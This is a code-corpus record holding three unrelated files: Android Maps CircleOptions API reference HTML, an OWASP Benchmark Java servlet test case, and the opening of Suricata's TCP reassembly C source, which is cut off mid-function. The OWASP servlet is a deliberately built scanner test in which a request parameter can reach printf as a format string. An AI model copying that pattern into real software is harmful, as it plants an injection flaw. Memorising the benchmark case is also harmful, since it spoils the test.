<div class="jd-tagdata jd-tagdescr"><p>Returns the center as a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The geographic center as a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.
</li></ul>
</div>
</div>
</div>
<A NAME="getFillColor()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
int
</span>
<span class="sympad">getFillColor</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the fill color.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The color in the <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code> format.
</li></ul>
</div>
</div>
</div>
<A NAME="getRadius()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
double
</span>
<span class="sympad">getRadius</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the circle's radius, in meters.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The radius in meters.
</li></ul>
</div>
</div>
</div>
<A NAME="getStrokeColor()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
int
</span>
<span class="sympad">getStrokeColor</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the stroke color.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The color in the <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code> format.
</li></ul>
</div>
</div>
</div>
<A NAME="getStrokeWidth()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
float
</span>
<span class="sympad">getStrokeWidth</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the stroke width.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The width in screen pixels.
</li></ul>
</div>
</div>
</div>
<A NAME="getZIndex()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
float
</span>
<span class="sympad">getZIndex</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Returns the zIndex.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>The zIndex value.
</li></ul>
</div>
</div>
</div>
<A NAME="isVisible()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
boolean
</span>
<span class="sympad">isVisible</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Checks whether the circle is visible.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>True if the circle is visible; false if it is invisible.
</li></ul>
</div>
</div>
</div>
<A NAME="radius(double)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">radius</span>
<span class="normal">(double radius)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the radius in meters.
<p>The radius must be zero or greater. The default radius is zero.</p></p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>radius</td>
<td>radius in meters</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="strokeColor(int)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">strokeColor</span>
<span class="normal">(int color)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the stroke color.
<p>The stroke color is the color of this circle's outline, in the integer
format specified by <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code>.
If TRANSPARENT is used then no outline is drawn.</p>
<p>By default the stroke color is black (<code>0xff000000</code>).</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>color</td>
<td>color in the <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code> format</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="strokeWidth(float)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">strokeWidth</span>
<span class="normal">(float width)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the stroke width.
<p>The stroke width is the width (in screen pixels) of the circle's
outline. It must be zero or greater. If it is zero then no outline is
drawn.</p>
<p>The default width is 10 pixels.</p></p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>width</td>
<td>width in screen pixels</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="visible(boolean)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">visible</span>
<span class="normal">(boolean visible)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the visibility.
<p>If this circle is not visible then it is not drawn, but all other
state is preserved.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>visible</td>
<td>false to make this circle invisible</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="zIndex(float)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">zIndex</span>
<span class="normal">(float zIndex)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the zIndex.
<p>Overlays (such as circles) with higher zIndices are drawn above
those with lower indices.
<p>By default the zIndex is 0.0.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>zIndex</td>
<td>zIndex value</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<!-- ========= METHOD DETAIL ======== -->
<!-- ========= END OF CLASS DATA ========= -->
<A NAME="navbar_top"></A>
<div id="footer" class="wrap" >
<div id="copyright">
Except as noted, this content is licensed under <a
href="http://www.apache.org/licenses/LICENSE-2.0">Apache 2.0</a>.
For details and restrictions, see the <a href="../../../../../../../license.html">
Content License</a>.
</div>
<div id="build_info">
Android r —
<script src="../../../../../../../timestamp.js" type="text/javascript"></script>
<script>document.write(BUILD_TIMESTAMP)</script>
</div>
<div id="footerlinks">
<p>
<a href="../../../../../../../about/index.html">About Android</a> |
<a href="../../../../../../../legal.html">Legal</a> |
<a href="../../../../../../../support.html">Support</a>
</p>
</div>
</div> <!-- end footer -->
</div> <!-- jd-content -->
</div><!-- end doc-content -->
</div> <!-- end body-content -->
</body>
</html>
| ismailsunni/UwongNdePoint | Components/googleplayservices-16.0/lib/android/16/content/google-play-services/docs/reference/com/google/android/gms/maps/model/CircleOptions.html | HTML | gpl-2.0 | 63,775 |
/**
* OWASP Benchmark Project v1.1
*
* This file is part of the Open Web Application Security Project (OWASP)
* Benchmark Project. For details, please see
* <a href="https://www.owasp.org/index.php/Benchmark">https://www.owasp.org/index.php/Benchmark</a>.
*
* The Benchmark is free software: you can redistribute it and/or modify it under the terms
* of the GNU General Public License as published by the Free Software Foundation, version 2.
*
* The Benchmark is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details
*
* @author Dave Wichers <a href="https://www.aspectsecurity.com">Aspect Security</a>
* @created 2015
*/
package org.owasp.benchmark.testcode;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/BenchmarkTest10564")
public class BenchmarkTest10564 extends HttpServlet {
private static final long serialVersionUID = 1L;
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
java.util.Map<String,String[]> map = request.getParameterMap();
String param = "";
if (!map.isEmpty()) {
param = map.get("foo")[0];
}
String bar = new Test().doSomething(param);
Object[] obj = { "a", "b"};
response.getWriter().printf(java.util.Locale.US,bar,obj);
} // end doPost
private class Test {
public String doSomething(String param) throws ServletException, IOException {
String bar;
String guess = "ABC";
char switchTarget = guess.charAt(1); // condition 'B', which is safe
// Simple case statement that assigns param to bar on conditions 'A' or 'C'
switch (switchTarget) {
case 'A':
bar = param;
break;
case 'B':
bar = "bob";
break;
case 'C':
case 'D':
bar = param;
break;
default:
bar = "bob's your uncle";
break;
}
return bar;
}
} // end innerclass Test
} // end DataflowThruInnerClass
| iammyr/Benchmark | src/main/java/org/owasp/benchmark/testcode/BenchmarkTest10564.java | Java | gpl-2.0 | 2,498 |
/* Copyright (C) 2007-2013 Open Information Security Foundation
*
* You can copy, redistribute or modify this Program under the terms of
* the GNU General Public License version 2 as published by the Free
* Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* version 2 along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
* 02110-1301, USA.
*/
/**
* \file
*
* \author Gurvinder Singh <[email protected]>
* \author Victor Julien <[email protected]>
*
* Reference:
* Judy Novak, Steve Sturges: Target-Based TCP Stream Reassembly August, 2007
*
*/
#include "suricata-common.h"
#include "suricata.h"
#include "debug.h"
#include "detect.h"
#include "flow.h"
#include "threads.h"
#include "conf.h"
#include "flow-util.h"
#include "threadvars.h"
#include "tm-threads.h"
#include "util-pool.h"
#include "util-unittest.h"
#include "util-print.h"
#include "util-host-os-info.h"
#include "util-unittest-helper.h"
#include "util-byte.h"
#include "stream-tcp.h"
#include "stream-tcp-private.h"
#include "stream-tcp-reassemble.h"
#include "stream-tcp-inline.h"
#include "stream-tcp-util.h"
#include "stream.h"
#include "util-debug.h"
#include "app-layer-protos.h"
#include "app-layer.h"
#include "app-layer-events.h"
#include "detect-engine-state.h"
#include "util-profiling.h"
#define PSEUDO_PACKET_PAYLOAD_SIZE 65416 /* 64 Kb minus max IP and TCP header */
#ifdef DEBUG
static SCMutex segment_pool_memuse_mutex;
static uint64_t segment_pool_memuse = 0;
static uint64_t segment_pool_memcnt = 0;
#endif
/* We define several pools with prealloced segments with fixed size
* payloads. We do this to prevent having to do an SCMalloc call for every
* data segment we receive, which would be a large performance penalty.
* The cost is in memory of course. The number of pools and the properties
* of the pools are determined by the yaml. */
static int segment_pool_num = 0;
static Pool **segment_pool = NULL;
static SCMutex *segment_pool_mutex = NULL;
static uint16_t *segment_pool_pktsizes = NULL;
#ifdef DEBUG
static SCMutex segment_pool_cnt_mutex;
static uint64_t segment_pool_cnt = 0;
#endif
/* index to the right pool for all packet sizes. */
static uint16_t segment_pool_idx[65536]; /* O(1) lookups of the pool */
static int check_overlap_different_data = 0;
/* Memory use counter */
SC_ATOMIC_DECLARE(uint64_t, ra_memuse);
/* prototypes */
static int HandleSegmentStartsBeforeListSegment(ThreadVars *, TcpReassemblyThreadCtx *,
TcpStream *, TcpSegment *, TcpSegment *, Packet *);
static int HandleSegmentStartsAtSameListSegment(ThreadVars *, TcpReassemblyThreadCtx *,
TcpStream *, TcpSegment *, TcpSegment *, Packet *);
static int HandleSegmentStartsAfterListSegment(ThreadVars *, TcpReassemblyThreadCtx *,
TcpStream *, TcpSegment *, TcpSegment *, Packet *);
void StreamTcpSegmentDataReplace(TcpSegment *, TcpSegment *, uint32_t, uint16_t);
void StreamTcpSegmentDataCopy(TcpSegment *, TcpSegment *);
TcpSegment* StreamTcpGetSegment(ThreadVars *tv, TcpReassemblyThreadCtx *, uint16_t);
void StreamTcpCreateTestPacket(uint8_t *, uint8_t, uint8_t, uint8_t);
void StreamTcpReassemblePseudoPacketCreate(TcpStream *, Packet *, PacketQueue *);
static int StreamTcpSegmentDataCompare(TcpSegment *dst_seg, TcpSegment *src_seg,
uint32_t start_point, uint16_t len);
void StreamTcpReassembleConfigEnableOverlapCheck(void)
{
check_overlap_different_data = 1;
}
/**
* \brief Function to Increment the memory usage counter for the TCP reassembly
* segments
*
* \param size Size of the TCP segment and its payload length memory allocated
*/
void StreamTcpReassembleIncrMemuse(uint64_t size)
{
(void) SC_ATOMIC_ADD(ra_memuse, size);
return;
}
/**
* \brief Function to Decrease the memory usage counter for the TCP reassembly
* segments
*
* \param size Size of the TCP segment and its payload length memory allocated
*/
void StreamTcpReassembleDecrMemuse(uint64_t size)
{
(void) SC_ATOMIC_SUB(ra_memuse, size);
return;
}
void StreamTcpReassembleMemuseCounter(ThreadVars *tv, TcpReassemblyThreadCtx *rtv)
{
uint64_t smemuse = SC_ATOMIC_GET(ra_memuse);
if (tv != NULL && rtv != NULL)
SCPerfCounterSetUI64(rtv->counter_tcp_reass_memuse, tv->sc_perf_pca, smemuse);
return;
}
/**
* \brief Function to Check the reassembly memory usage counter against the
* allowed max memory usgae for TCP segments.
*
* \param size Size of the TCP segment and its payload length memory allocated
* \retval 1 if in bounds
* \retval 0 if not in bounds
*/
int StreamTcpReassembleCheckMemcap(uint32_t size)
{
if (stream_config.reassembly_memcap == 0 ||
(uint64_t)((uint64_t)size + SC_ATOMIC_GET(ra_memuse)) <= stream_config.reassembly_memcap)
return 1;
return 0;
}
/** \brief alloc a tcp segment pool entry */
void *TcpSegmentPoolAlloc()
{
if (StreamTcpReassembleCheckMemcap((uint32_t)sizeof(TcpSegment)) == 0) {
return NULL;
}
TcpSegment *seg = NULL;
seg = SCMalloc(sizeof (TcpSegment));
if (unlikely(seg == NULL))
return NULL;
return seg;
}
int TcpSegmentPoolInit(void *data, void *payload_len)
{
TcpSegment *seg = (TcpSegment *) data;
uint16_t size = *((uint16_t *) payload_len);
/* do this before the can bail, so TcpSegmentPoolCleanup
* won't have uninitialized memory to consider. */
memset(seg, 0, sizeof (TcpSegment));
if (StreamTcpReassembleCheckMemcap((uint32_t)size + (uint32_t)sizeof(TcpSegment)) == 0) {
return 0;
}
seg->pool_size = size;
seg->payload_len = seg->pool_size;
seg->payload = SCMalloc(seg->payload_len);
if (seg->payload == NULL) {
return 0;
}
#ifdef DEBUG
SCMutexLock(&segment_pool_memuse_mutex);
segment_pool_memuse += seg->payload_len;
segment_pool_memcnt++;
SCLogDebug("segment_pool_memcnt %"PRIu64"", segment_pool_memcnt);
SCMutexUnlock(&segment_pool_memuse_mutex);
#endif
StreamTcpReassembleIncrMemuse((uint32_t)seg->pool_size + sizeof(TcpSegment));
return 1;
}
/** \brief clean up a tcp segment pool entry */
void TcpSegmentPoolCleanup(void *ptr)
{
if (ptr == NULL)
return;
TcpSegment *seg = (TcpSegment *) ptr;
StreamTcpReassembleDecrMemuse((uint32_t)seg->pool_size + sizeof(TcpSegment));
#ifdef DEBUG
SCMutexLock(&segment_pool_memuse_mutex);
segment_pool_memuse -= seg->pool_size;
segment_pool_memcnt--;
SCLogDebug("segment_pool_memcnt %"PRIu64"", segment_pool_memcnt);
SCMutexUnlock(&segment_pool_memuse_mutex);
#endif
SCFree(seg->payload);
return;
}
/**
* \brief Function to return the segment back to the pool.
*
* \param seg Segment which will be returned back to the pool.
*/
void StreamTcpSegmentReturntoPool(TcpSegment *seg)
{
if (seg == NULL)
return;
seg->next = NULL;
seg->prev = NULL;
uint16_t idx = segment_pool_idx[seg->pool_size];
SCMutexLock(&segment_pool_mutex[idx]);
PoolReturn(segment_pool[idx], (void *) seg);
SCLogDebug("segment_pool[%"PRIu16"]->empty_stack_size %"PRIu32"",
idx,segment_pool[idx]->empty_stack_size);
SCMutexUnlock(&segment_pool_mutex[idx]);
#ifdef DEBUG
SCMutexLock(&segment_pool_cnt_mutex);
segment_pool_cnt--;
SCMutexUnlock(&segment_pool_cnt_mutex);
#endif
}
/**
* \brief return all segments in this stream into the pool(s)
*
* \param stream the stream to cleanup
*/
void StreamTcpReturnStreamSegments (TcpStream *stream)
{
TcpSegment *seg = stream->seg_list;
TcpSegment *next_seg;
if (seg == NULL)
return;
while (seg != NULL) {
next_seg = seg->next;
StreamTcpSegmentReturntoPool(seg);
seg = next_seg;
}
stream->seg_list = NULL;
stream->seg_list_tail = NULL;
}
typedef struct SegmentSizes_
{
uint16_t pktsize;
uint32_t prealloc;
} SegmentSizes;
/* sort small to big */
static int SortByPktsize(const void *a, const void *b)
{
const SegmentSizes *s0 = a;
const SegmentSizes *s1 = b;
return s0->pktsize - s1->pktsize;
}
int StreamTcpReassemblyConfig(char quiet)
{
Pool **my_segment_pool = NULL;
SCMutex *my_segment_lock = NULL;
uint16_t *my_segment_pktsizes = NULL;
SegmentSizes sizes[256];
memset(&sizes, 0x00, sizeof(sizes));
int npools = 0;
ConfNode *segs = ConfGetNode("stream.reassembly.segments");
if (segs != NULL) {
ConfNode *seg;
TAILQ_FOREACH(seg, &segs->head, next) {
ConfNode *segsize = ConfNodeLookupChild(seg,"size");
if (segsize == NULL)
continue;
ConfNode *segpre = ConfNodeLookupChild(seg,"prealloc");
if (segpre == NULL)
continue;
if (npools >= 256) {
SCLogError(SC_ERR_INVALID_ARGUMENT, "too many segment packet "
"pools defined, max is 256");
return -1;
}
SCLogDebug("segsize->val %s", segsize->val);
SCLogDebug("segpre->val %s", segpre->val);
uint16_t pktsize = 0;
if (ByteExtractStringUint16(&pktsize, 10, strlen(segsize->val),
segsize->val) == -1)
{
SCLogError(SC_ERR_INVALID_ARGUMENT, "segment packet size "
"of %s is invalid", segsize->val);
return -1;
}
uint32_t prealloc = 0;
if (ByteExtractStringUint32(&prealloc, 10, strlen(segpre->val),
segpre->val) == -1)
{
SCLogError(SC_ERR_INVALID_ARGUMENT, "segment prealloc of "
"%s is invalid", segpre->val);
return -1;
}
sizes[npools].pktsize = pktsize;
sizes[npools].prealloc = prealloc;
SCLogDebug("pktsize %u, prealloc %u", sizes[npools].pktsize,
sizes[npools].prealloc);
npools++;
}
}
SCLogDebug("npools %d", npools);
if (npools > 0) {
/* sort the array as the index code below relies on it */
qsort(&sizes, npools, sizeof(sizes[0]), SortByPktsize);
if (sizes[npools - 1].pktsize != 0xffff) {
sizes[npools].pktsize = 0xffff;
sizes[npools].prealloc = 8;
npools++;
SCLogInfo("appended a segment pool for pktsize 65536");
}
} else if (npools == 0) {
/* defaults */
sizes[0].pktsize = 4;
sizes[0].prealloc = 256;
sizes[1].pktsize = 16;
sizes[1].prealloc = 512;
sizes[2].pktsize = 112;
sizes[2].prealloc = 512;
sizes[3].pktsize = 248;
sizes[3].prealloc = 512;
sizes[4].pktsize = 512;
sizes[4].prealloc = 512;
sizes[5].pktsize = 768;
sizes[5].prealloc = 1024;
sizes[6].pktsize = 1448;
sizes[6].prealloc = 1024;
sizes[7].pktsize = 0xffff;
sizes[7].prealloc = 128;
npools = 8;
}
int i = 0;
for (i = 0; i < npools; i++) {
SCLogDebug("pktsize %u, prealloc %u", sizes[i].pktsize, sizes[i].prealloc);
}
my_segment_pool = SCMalloc(npools * sizeof(Pool *));
if (my_segment_pool == NULL) {
SCLogError(SC_ERR_MEM_ALLOC, "malloc failed");
return -1;
}
my_segment_lock = SCMalloc(npools * sizeof(SCMutex));
if (my_segment_lock == NULL) {
SCLogError(SC_ERR_MEM_ALLOC, "malloc failed");
SCFree(my_segment_pool);
return -1;
}
my_segment_pktsizes = SCMalloc(npools * sizeof(uint16_t));
if (my_segment_pktsizes == NULL) {
SCLogError(SC_ERR_MEM_ALLOC, "malloc failed");
SCFree(my_segment_lock);
SCFree(my_segment_pool);
return -1;
}
uint32_t my_segment_poolsizes[npools];
for (i = 0; i < npools; i++) {
my_segment_pktsizes[i] = sizes[i].pktsize;
my_segment_poolsizes[i] = sizes[i].prealloc;
SCMutexInit(&my_segment_lock[i], NULL);
/* setup the pool */
SCMutexLock(&my_segment_lock[i]);
my_segment_pool[i] = PoolInit(0, my_segment_poolsizes[i], 0,
TcpSegmentPoolAlloc, TcpSegmentPoolInit,
(void *) &my_segment_pktsizes[i],
TcpSegmentPoolCleanup, NULL);
SCMutexUnlock(&my_segment_lock[i]);
if (my_segment_pool[i] == NULL) {
SCLogError(SC_ERR_INITIALIZATION, "couldn't set up segment pool "
"for packet size %u. Memcap too low?", my_segment_pktsizes[i]);
exit(EXIT_FAILURE);
}
SCLogDebug("my_segment_pktsizes[i] %u, my_segment_poolsizes[i] %u",
my_segment_pktsizes[i], my_segment_poolsizes[i]);
if (!quiet)
SCLogInfo("segment pool: pktsize %u, prealloc %u",
my_segment_pktsizes[i], my_segment_poolsizes[i]);
}
uint16_t idx = 0;
uint16_t u16 = 0;
while (1) {
if (idx <= my_segment_pktsizes[u16]) {
segment_pool_idx[idx] = u16;
if (my_segment_pktsizes[u16] == idx)
u16++;
}
if (idx == 0xffff)
break;
idx++;
}
/* set the globals */
segment_pool = my_segment_pool;
segment_pool_mutex = my_segment_lock;
segment_pool_pktsizes = my_segment_pktsizes;
segment_pool_num = npools;
uint32_t stream_chunk_prealloc = 250;
ConfNode *chunk = ConfGetNode("stream.reassembly.chunk-prealloc");
if (chunk) {
uint32_t prealloc = 0;
if (ByteExtractStringUint32(&prealloc, 10, strlen(chunk->val), chunk->val) == -1)
{
SCLogError(SC_ERR_INVALID_ARGUMENT, "chunk-prealloc of "
"%s is invalid", chunk->val);
return -1;
}
stream_chunk_prealloc = prealloc;
}
if (!quiet)
SCLogInfo("stream.reassembly \"chunk-prealloc\": %u", stream_chunk_prealloc);
StreamMsgQueuesInit(stream_chunk_prealloc);
intmax_t zero_copy_size = 128;
if (ConfGetInt("stream.reassembly.zero-copy-size", &zero_copy_size) == 1) {
if (zero_copy_size < 0 || zero_copy_size > 0xffff) {
SCLogError(SC_ERR_INVALID_ARGUMENT, "stream.reassembly.zero-copy-size of "
"%"PRIiMAX" is invalid: valid values are 0 to 65535", zero_copy_size);
return -1;
}
}
stream_config.zero_copy_size = (uint16_t)zero_copy_size;
if (!quiet)
SCLogInfo("stream.reassembly \"zero-copy-size\": %u", stream_config.zero_copy_size);
return 0;
}
int StreamTcpReassembleInit(char quiet)
{
/* init the memcap/use tracker */
SC_ATOMIC_INIT(ra_memuse);
if (StreamTcpReassemblyConfig(quiet) < 0)
return -1;
#ifdef DEBUG
SCMutexInit(&segment_pool_memuse_mutex, NULL);
SCMutexInit(&segment_pool_cnt_mutex, NULL);
#endif
return 0;
}
#ifdef DEBUG
static uint32_t dbg_app_layer_gap;
static uint32_t dbg_app_layer_gap_candidate;
#endif
void StreamTcpReassembleFree(char quiet)
{
uint16_t u16 = 0;
for (u16 = 0; u16 < segment_pool_num; u16++) {
SCMutexLock(&segment_pool_mutex[u16]);
if (quiet == FALSE) {
PoolPrintSaturation(segment_pool[u16]);
SCLogDebug("segment_pool[u16]->empty_stack_size %"PRIu32", "
"segment_pool[u16]->alloc_stack_size %"PRIu32", alloced "
"%"PRIu32"", segment_pool[u16]->empty_stack_size,
segment_pool[u16]->alloc_stack_size,
segment_pool[u16]->allocated);
if (segment_pool[u16]->max_outstanding > segment_pool[u16]->allocated) {
SCLogInfo("TCP segment pool of size %u had a peak use of %u segments, "
"more than the prealloc setting of %u", segment_pool_pktsizes[u16],
segment_pool[u16]->max_outstanding, segment_pool[u16]->allocated);
}
}
PoolFree(segment_pool[u16]);
SCMutexUnlock(&segment_pool_mutex[u16]);
SCMutexDestroy(&segment_pool_mutex[u16]);
}
SCFree(segment_pool);
SCFree(segment_pool_mutex);
SCFree(segment_pool_pktsizes);
segment_pool = NULL;
segment_pool_mutex = NULL;
segment_pool_pktsizes = NULL;
StreamMsgQueuesDeinit(quiet);
#ifdef DEBUG
SCLogDebug("segment_pool_cnt %"PRIu64"", segment_pool_cnt);
SCLogDebug("segment_pool_memuse %"PRIu64"", segment_pool_memuse);
SCLogDebug("segment_pool_memcnt %"PRIu64"", segment_pool_memcnt);
SCMutexDestroy(&segment_pool_memuse_mutex);
SCMutexDestroy(&segment_pool_cnt_mutex);
SCLogInfo("dbg_app_layer_gap %u", dbg_app_layer_gap);
SCLogInfo("dbg_app_layer_gap_candidate %u", dbg_app_layer_gap_candidate);
#endif
}
TcpReassemblyThreadCtx *StreamTcpReassembleInitThreadCtx(ThreadVars *tv)
{
SCEnter();
TcpReassemblyThreadCtx *ra_ctx = SCMalloc(sizeof(TcpReassemblyThreadCtx));
if (unlikely(ra_ctx == NULL))
return NULL;
memset(ra_ctx, 0x00, sizeof(TcpReassemblyThreadCtx));
ra_ctx->app_tctx = AppLayerGetCtxThread(tv);
SCReturnPtr(ra_ctx, "TcpReassemblyThreadCtx");
}
void StreamTcpReassembleFreeThreadCtx(TcpReassemblyThreadCtx *ra_ctx)
{
SCEnter();
AppLayerDestroyCtxThread(ra_ctx->app_tctx);
#ifdef DEBUG
SCLogDebug("reassembly fast path stats: fp1 %"PRIu64" fp2 %"PRIu64" sp %"PRIu64,
ra_ctx->fp1, ra_ctx->fp2, ra_ctx->sp);
#endif
SCFree(ra_ctx);
SCReturn;
}
void PrintList2(TcpSegment *seg)
{
TcpSegment *prev_seg = NULL;
if (seg == NULL)
return;
uint32_t next_seq = seg->seq;
while (seg != NULL) {
if (SEQ_LT(next_seq,seg->seq)) {
SCLogDebug("missing segment(s) for %" PRIu32 " bytes of data",
(seg->seq - next_seq));
}
SCLogDebug("seg %10"PRIu32" len %" PRIu16 ", seg %p, prev %p, next %p",
seg->seq, seg->payload_len, seg, seg->prev, seg->next);
if (seg->prev != NULL && SEQ_LT(seg->seq,seg->prev->seq)) {
/* check for SEQ_LT cornercase where a - b is exactly 2147483648,
* which makes the marco return TRUE in both directions. This is
* a hack though, we're going to check next how we end up with
* a segment list with seq differences that big */
if (!(SEQ_LT(seg->prev->seq,seg->seq))) {
SCLogDebug("inconsistent list: SEQ_LT(seg->seq,seg->prev->seq)) =="
" TRUE, seg->seq %" PRIu32 ", seg->prev->seq %" PRIu32 ""
"", seg->seq, seg->prev->seq);
}
}
if (SEQ_LT(seg->seq,next_seq)) {
SCLogDebug("inconsistent list: SEQ_LT(seg->seq,next_seq)) == TRUE, "
"seg->seq %" PRIu32 ", next_seq %" PRIu32 "", seg->seq,
next_seq);
}
if (prev_seg != seg->prev) {
SCLogDebug("inconsistent list: prev_seg %p != seg->prev %p",
prev_seg, seg->prev);
}
next_seq = seg->seq + seg->payload_len;
SCLogDebug("next_seq is now %"PRIu32"", next_seq);
prev_seg = seg;
seg = seg->next;
}
}
void PrintList(TcpSegment *seg)
{
TcpSegment *prev_seg = NULL;
TcpSegment *head_seg = seg;
if (seg == NULL)
return;
uint32_t next_seq = seg->seq;
while (seg != NULL) {
if (SEQ_LT(next_seq,seg->seq)) {
SCLogDebug("missing segment(s) for %" PRIu32 " bytes of data",
(seg->seq - next_seq));
}
SCLogDebug("seg %10"PRIu32" len %" PRIu16 ", seg %p, prev %p, next %p, flags 0x%02x",
seg->seq, seg->payload_len, seg, seg->prev, seg->next, seg->flags);
if (seg->prev != NULL && SEQ_LT(seg->seq,seg->prev->seq)) {
